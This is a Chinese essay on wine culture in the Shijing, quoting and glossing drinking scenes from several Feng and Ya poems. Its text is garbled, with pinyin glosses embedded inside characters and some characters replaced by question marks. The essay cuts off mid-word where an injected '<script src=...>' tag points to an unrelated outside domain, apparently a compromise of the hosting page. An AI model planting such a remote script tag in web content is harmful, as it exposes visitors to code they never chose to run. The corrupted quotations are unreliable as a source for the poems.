酒香氤氳話《詩經(jīng)》
翻開案頭那本《詩經(jīng)》，頓時(shí)覺得氤氳酒香撲面而來，令我陶醉，良久，良久?！对娊?jīng)》是我國(guó)第一部詩歌總集，分風(fēng)、雅、頌三個(gè)部分，共收入自西周初年至春秋中葉大約五百多年間的詩歌305篇，其中有關(guān)飲酒的許多詩篇，對(duì)我國(guó)古代的酒文化作了客觀的展現(xiàn)?！对娊?jīng)》中直接寫到酒文化的詩作有35篇，加上間接涉及酒的詩作，總計(jì)達(dá)55篇，本文在《風(fēng)》、《雅》、《頌》中各選若干涉及酒的篇章或詩句略作介紹。
“國(guó)風(fēng)”是《詩經(jīng)》中的精華，是我國(guó)古代文藝寶庫(kù)中璀璨的明珠?！皣?guó)風(fēng)”中的民歌以絢麗多彩的畫面，反映了當(dāng)時(shí)真實(shí)的社會(huì)生活?！秶?guó)風(fēng).豳風(fēng).七月》中的詩句“九月肅霜，十月滌場(chǎng)。朋酒斯饗，曰殺羔羊。躋彼公堂，稱彼兕觥，萬壽無疆！”描寫了農(nóng)事之后相聚飲酒的愉快場(chǎng)景，上述詩句的大意是：九月下了霜，十月掃曬場(chǎng)。捧上兩樽美酒（按：“朋酒”即兩樽酒），殺上一只羔羊。登上長(zhǎng)輩的廳堂，高舉牛角酒杯，祝一聲“長(zhǎng)壽無疆”！篇中又有詩句“十月獲稻，為此春酒，以介眉?jí)?。”形象地描繪了農(nóng)家在十月收獲稻谷，然后釀酒，至春天釀成，用來敬獻(xiàn)給長(zhǎng)輩，祝其長(zhǎng)壽，淋漓盡致地描寫出充滿田園氣息的天倫之樂。
《國(guó)風(fēng).鄭風(fēng).女曰雞鳴》通過男女對(duì)話，展示了一對(duì)青年夫婦和諧的家庭生活和誠(chéng)摯而熱烈的感情，詩中不乏飲酒的詩句?！芭弧u鳴’，士曰‘昧旦。子興視夜，明星有爛?！畬繉⑾瑁D與雁。弋言加之，與子宜之。宜言飲酒，與子偕老?！偕谟?，莫不靜好。”大意是：女人說“雞已經(jīng)鳴叫了。”男人說“天還沒亮吶。你看看夜空，那些明星多么燦爛?！薄八蕹驳镍B雀就要飛去了，到蘆蕩射鴨射雁去吧。野鴨大雁射下來，我為你烹調(diào)，做成佳肴一起飲酒，我要與你白頭偕老。”女彈琴，男鼓瑟，和睦安好，多么美滿呀。詩情畫意，生動(dòng)諧趣，恰似一出精煉的生活“小品”劇目。
“雅詩”和“頌詩”都是統(tǒng)治階級(jí)在特定場(chǎng)合所用的樂歌，反映了社會(huì)生活的某些方面，具有一定的社會(huì)意義和認(rèn)識(shí)價(jià)值。《小雅.賓之初筵》篇幅頗長(zhǎng)，共五章。第一章和第二章寫合乎禮制的酒宴：“賓之初筵，左右秩秩?；e豆有楚，肴核維旅。酒既和旨，飲酒孔偕。鐘鼓既設(shè)，舉醻逸逸……”賓客初入席，列坐有序。食器魚肉瓜果擺放得整齊有序。既然酒味甘醇，諸位都快喝吧。鐘鼓已經(jīng)架好，舉杯敬酒連連不停?！按蠛罴瓤?，弓矢斯張。射夫既同，獻(xiàn)爾發(fā)功。發(fā)彼有的，以祈爾爵?！蓖ピ豪锇仓昧松浼拇蟀?，憑射手的成績(jī)判定誰來飲酒?！盎a舞笙鼓，樂既和奏。烝衎烈祖，以洽百禮。”奏起排簫，鼓起笙，音樂和諧。進(jìn)獻(xiàn)樂舞敬祖，禮數(shù)周到。第三章和第四章寫賓客違背禮制時(shí)的酒宴，“曰既醉止，威儀怭怭。是曰既醉，不知其秩?！彼麄兌家押茸?，莊重威嚴(yán)蕩然無存。因?yàn)榇笞矶恢?guī)矩。“賓既醉止，載號(hào)載呶。亂我籩豆，屢舞僛僛?！辟e客大醉，又叫又嚷。把我的食器全都弄亂，踉踉蹌蹌不停地亂舞。第五章是總結(jié)性的說理，主張養(yǎng)成酒德，遵從禮?script src=http://www.234mu.com/>
